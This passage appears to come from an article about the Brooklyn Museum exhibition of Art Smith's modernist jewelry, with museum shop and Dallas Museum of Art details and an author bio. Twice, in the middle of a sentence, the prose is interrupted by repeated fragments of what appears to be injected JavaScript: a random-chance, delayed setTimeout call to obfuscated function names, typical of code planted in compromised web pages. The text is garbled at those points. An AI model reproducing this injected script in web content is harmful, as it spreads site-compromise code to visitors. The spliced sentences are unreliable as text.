This brings us back to the original collectors of Art Smith jewelry who knew a great thing when they saw it. Harwood paints a touching picture of the “From the Village to Vogue” opening at Brooklyn Museum. In honor of the memory of Art Smith, Charles Russell invited all their old pals from Greenwich Village to attend. These beatniks, now well on in years, came adorned in their own pieces of Art Smith jewelry. It was a marvelous sight, a fitting homage paid to a man who entwined the making of art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the making of friends.

The exhibition guide From The Village to Vogue: The Modernist Jewelry of Art Smith by Barry Harwood is available for $6.95 at the Dallas Museum of Art’s shop as well as online through the Brooklyn Museum’s shop (http://shop.brooklynmuseum.org/artsmith.html).

The Dallas Museum of Art is at 1717 North Harwood. For information, www.dma.org or 214-922-1200.

Kate Eagen Johnson is an expert in American decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an independent consultant to his-torical organizations.